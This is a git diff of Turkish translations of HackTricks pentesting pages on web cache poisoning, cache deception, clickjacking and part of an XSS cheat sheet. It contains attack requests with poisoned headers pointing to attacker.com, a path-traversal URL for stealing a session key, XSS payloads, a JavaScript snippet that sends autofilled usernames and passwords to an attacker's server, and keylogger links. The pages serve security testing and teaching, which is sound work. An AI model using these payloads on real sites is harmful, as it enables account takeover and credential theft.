+Kötüye kullanılabilecek **sayfayı** belirledikten sonra, hangi **parametre/başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemeler yapmanız gerekebilir.\
+Yanıtta bulunan **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine sahip olabileceği ve önbelleğe alındığında **`hit`** değerine sahip olabileceği için oldukça faydalı olabilir.\
+**`Cache-Control`** başlığı da kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`\
+Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen ek başlıkları belirtmek için kullanılır, normalde anahtar olmayan başlıklar olarak kabul edilir. Bu nedenle, kullanıcı hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\
+Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca bulunduğunu tanımlar.
-Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtarlanabilir** ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
+Bir isteği önbelleğe alırken, kullanacağınız başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar olarak kullanılabilir** ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
## Sömürü Örnekleri
@@ -82,7 +82,7 @@ X-Forwarded-Host: a.">"
```
### Web önbellek zehirlenmesini kullanarak çerez işleme açıklarını sömürme
-Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bir XSS oluşturmak için bunu kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz.
+Çerezler ayrıca bir sayfanın yanıtında da yansıtılabilir. Örneğin bir XSS oluşturmak için bunu istismar edebilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz.
```markup
GET / HTTP/1.1
Host: vulnerable.com
@@ -90,11 +90,11 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### API anahtarını çalmak için yol gezinimini kullanarak önbellek zehirlenmesi
-[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alacağı belirtilmiştir, bu da isteğin web sunucusuna ulaştığında yapıldı.
+[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alınacaktır, bu da isteğin web sunucusuna ulaştığında yapıldı.
### Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma
-Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz.
+Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi** sömürmeniz gerekebilir. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -103,7 +103,7 @@ X-Forwarded-Scheme: http
```
### Sınırlı `Vary` başlığı ile sömürme
-Eğer yanıtta **`User-Agent`**'ı işaret eden **`Vary`** başlığı kullanılan **`X-Host`** başlığını **bir alan adı olarak JS kaynağını yüklemek** için bulduysanız, o zaman kurbanın User-Agent'ını dışa aktarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
+Eğer **`X-Host`** başlığının, bir JS kaynağını yüklemek için **alan adı olarak kullanıldığını** ve yanıtta bulunan **`Vary`** başlığının **`User-Agent`**'ı işaret ettiğini tespit ettiyseniz, kurbanın User-Agent'ını dışa aktarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@@ -120,39 +120,39 @@ X-Host: attacker.com
Örnek kullanım: `wcvs -u example.com`
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Zafiyetli Örnekler
-### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
+### Apache Trafik Sunucusu ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATS, URL içindeki parçayı kaldırmadan iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunuyordu.
+ATS, URL içindeki parçayı kaldırmadan iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuştur (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği, arka uca `/#/../?r=javascript:alert(1)` olarak gönderilmiş ve önbellek anahtarı içinde yük bulunmamış, yalnızca ana bilgisayar, yol ve sorgu bulunmuştur.
### GitHub CP-DoS
-İçerik türü başlığında kötü bir değer göndermek 405 önbelleğe alınmış yanıtı tetikledi. Önbellek anahtarı çerez içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırı yapmak mümkündü.
+İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetiklemiştir. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırı yapmak mümkün olmuştur.
### GitLab + GCP CP-DoS
-GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilirdi.
+GitLab, statik içeriği depolamak için GCP kovalarını kullanmaktadır. **GCP Kovaları**, **`x-http-method-override`** başlığını desteklemektedir. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği zehirlemek ve boş bir yanıt gövdesi döndürmek mümkün olmuştur. Ayrıca `PURGE` yöntemini de destekleyebilir.
### Rack Ara Yazılımı (Ruby on Rails)
-Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi gerçekleşir, bu da o kaynağa karşı bir Hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir.
+Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi gerçekleşir, bu da potansiyel olarak bir hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir.
### 403 ve Depolama Kovaları
-Cloudflare önceden 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden oluyordu. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
+Cloudflare önceden 403 yanıtlarını önbelleğe almıştır. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden olmuştur. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
### Anahtarlı Parametreler Enjekte Etme
-Önbellekler genellikle özel GET parametrelerini önbellek anahtarında saklar. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle birlikte gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulurdu. Ancak, backend, URL kodlanmış parametreyi işlerdi. İkinci `size` parametresini URL kodlayarak, önbellek tarafından atlanmasına ve backend tarafından kullanılmasına neden olunurdu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu verirdi.
+Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe almıştır. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle birlikte gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulur. Ancak, arka uç, URL kodlanmış parametreyi işler. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ve arka uç tarafından kullanılmasına neden olmuştur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurmuştur.
### Kullanıcı Ajanı Kuralları
@@ -160,17 +160,17 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
### Yasadışı Başlık Alanları
-[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak 400 Hatalı İstek yanıtını tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi belirli bir örnek, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu vereceği bir açıklanabilir model belirlendi.
+[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtmektedir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymamaktadır. Akamai gibi, geçersiz karakterler içeren başlıkları ileterek ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alarak, istismar edilebilir bir model belirlenmiştir. Geçersiz bir karakter içeren bir başlık göndermek, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurmuştur.
-### Yeni Başlıklar Bulma
+### Yeni başlıklar bulma
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
-## Önbellek Dolandırıcılığı
+## Önbellek Aldatmacası
-Önbellek Dolandırıcılığının amacı, istemcilerin **önbellekte saklanacak kaynakları** hassas bilgileriyle birlikte **yüklemesini sağlamaktır**.
+Önbellek Aldatmacasının amacı, istemcilerin **duyarlı bilgileriyle birlikte önbelleğe kaydedilecek kaynakları yüklemesini sağlamaktır**.
-Öncelikle, `.css`, `.js`, `.png` gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'e erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü `.js` **uzantısını** görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde **saklanan** hassas kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
+Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'ye erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php/_ içinde **saklanan** **duyarlı** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
Test edilecek diğer şeyler:
@@ -179,19 +179,19 @@ Test edilecek diğer şeyler:
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
-* _.avif_ gibi daha az bilinen uzantıları **kullanın**
+* _`.avif` gibi daha az bilinen uzantıları kullanın_
-Bu yazıda çok açık bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, _http://www.example.com/home.php_ içeriği (**kullanıcının hassas bilgileriyle**) dönecek ve önbellek sunucusu sonucu kaydedecektir.\
-Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceden erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
+Bu yazıda çok açık bir örnek bulabilirsiniz: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, önceki kullanıcıların **duyarlı bilgilerini** içeren _http://www.example.com/home.php_ içeriği geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\
+Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceki kullanıcıların **gizli bilgilerini** gözlemleyebilir.
-Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **yapılandırılması** gerektiğini unutmayın (_.css_). Örneğin, _http://www.example.com/home.php/non-existent.css_ örneğinde bir `text/html` içerik türü olacak ve bir `text/css` mime türü (beklenen _.css_ dosyası için) olmayacaktır.
+Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **ayarlanmış** olması gerektiğini unutmayın (_.css_). Örneğin, _http://www.example.com/home.php/non-existent.css_ önbelleğe alınmış bir `text/html` içerik türüne sahip olacak ve beklenen _.css_ dosyası için bir `text/css` mime türüne sahip olmayacaktır.
-[HTTP İsteği Kaçırarak Web Önbellek Dolandırıcılığını Sömürme](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) hakkında buradan bilgi edinin.
+[HTTP İsteği Kaçırarak Web Önbellek Aldatmaları Saldırıları Gerçekleştirmek](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) hakkında buradan bilgi edinin.
## Otomatik Araçlar
-* [**toxicache**](https://github.com/xhzeem/toxicache): Belirli URL'lerde web önbellek zehirlenmesi zafiyetlerini bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı.
+* [**toxicache**](https://github.com/xhzeem/toxicache): Web önbellek zehirlenmesi zafiyetlerini bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı.
## Referanslar
@@ -202,23 +202,23 @@ Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.ph
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md
index 82c08cd18..c28caaa93 100644
--- a/pentesting-web/clickjacking.md
+++ b/pentesting-web/clickjacking.md
@@ -2,15 +2,15 @@
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -28,11 +28,13 @@ Clickjacking saldırısında, bir **kullanıcı** ya **görünmez** ya da farkl
### Formları Önceden Doldurma Hilesi
-Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeyi Gönder'e basmasını sağlamak için clickjacking yükünü gönderebilir.
+Bazen bir sayfa yüklenirken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının Düğmeyi Gönder'e basmasını sağlamak için clickjacking yükünü gönderebilir.
### Formu Sürükle ve Bırak ile Doldurma
-Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** etmesini isteyebilirsiniz, örneğin [**bu örnekte**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
+Kullanıcının bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** etmesini isteyebilirsiniz, örneğin [**bu örnekte**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
+
+### Temel Yük
```markup
```
-### Otomatik doldurma şifreleri yakalama
+### Otomatik doldurma şifrelerinin ele geçirilmesi
```javascript
Username:>
@@ -1188,18 +1184,16 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
-When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
-
### Keylogger
-Just searching in github I found a few different ones:
+GitHub'da arama yaparak birkaç farklı tane buldum:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-* You can also use metasploit `http_javascript_keylogger`
+* Ayrıca metasploit `http_javascript_keylogger`'ı da kullanabilirsiniz.
-### Stealing CSRF tokens
+### CSRF tokenlarını çalma
```javascript